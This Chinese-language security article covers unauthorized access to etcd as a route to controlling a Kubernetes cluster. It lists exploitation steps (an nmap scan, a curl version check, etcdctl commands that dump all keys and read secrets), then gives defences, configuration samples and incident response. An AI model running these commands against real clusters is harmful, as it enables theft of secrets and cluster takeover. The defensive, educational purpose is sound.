etcd未授权到控制k8s集群
字数 972 2025-08-20 18:18:11
etcd未授权访问到控制Kubernetes集群的攻防分析
1. etcd在Kubernetes中的重要性
etcd是一个分布式键值存储系统,在Kubernetes架构中扮演着核心角色:
- 存储Kubernetes集群的所有数据(节点、Pod、服务、密钥等)
- 保存集群状态和配置信息
- 作为Kubernetes API的后端数据存储
- 默认情况下数据不加密存储
2. etcd未授权访问漏洞概述
2.1 漏洞成因
- 默认配置下etcd监听2379端口(客户端通信)和2380端口(节点间通信)
- 管理员未正确配置认证和授权机制
- 防火墙规则不当,暴露etcd服务到公网或内网广泛访问
2.2 攻击面
攻击者通过未授权访问etcd可以:
- 直接读取/修改Kubernetes集群数据
- 获取敏感信息(如Secrets)
- 注入恶意配置
- 完全控制整个集群
3. 漏洞利用步骤
3.1 发现etcd服务
nmap -p 2379,2380 <target_ip>
3.2 确认未授权访问
curl http://<etcd_ip>:2379/version
3.3 使用etcdctl工具操作
# 设置环境变量
export ETCDCTL_API=3
# 列出所有键
etcdctl --endpoints=http://<etcd_ip>:2379 get / --prefix --keys-only
# 读取特定键值
etcdctl --endpoints=http://<etcd_ip>:2379 get /registry/secrets/default/mysecret
3.4 获取敏感信息
重点关注以下路径:
/registry/secrets/- 存储所有Secret/registry/configmaps/- 存储ConfigMap/registry/services/- 存储服务信息
3.5 控制集群
通过修改以下关键数据可控制集群:
- 修改
/registry/deployments/下的部署配置 - 添加管理员权限用户
- 修改集群网络配置
4. 防御措施
4.1 认证与授权
# etcd配置示例
client-transport-security:
cert-file: /etc/kubernetes/pki/etcd/server.crt
key-file: /etc/kubernetes/pki/etcd/server.key
client-cert-auth: true
trusted-ca-file: /etc/kubernetes/pki/etcd/ca.crt
4.2 网络隔离
- 仅允许Kubernetes master节点访问etcd
- 配置防火墙规则限制访问源IP
- 避免etcd服务暴露在公网
4.3 数据加密
- 启用etcd数据加密
encryption:
provider: aescbc
aescbc:
keys:
- name: key1
secret: <base64-encoded-secret>
4.4 监控与审计
- 启用etcd审计日志
- 监控异常etcd访问模式
- 定期检查etcd配置
5. 应急响应
一旦发现etcd被未授权访问:
- 立即隔离受影响系统
- 轮换所有Secret和证书
- 审查所有集群配置
- 检查是否有恶意部署或修改
- 更新etcd配置并修复漏洞
6. 最佳实践
- 使用TLS加密etcd通信
- 启用基于角色的访问控制(RBAC)
- 定期备份etcd数据
- 保持etcd版本更新
- 最小化etcd网络暴露面
通过以上措施,可以有效防止etcd未授权访问导致Kubernetes集群被控制的风险。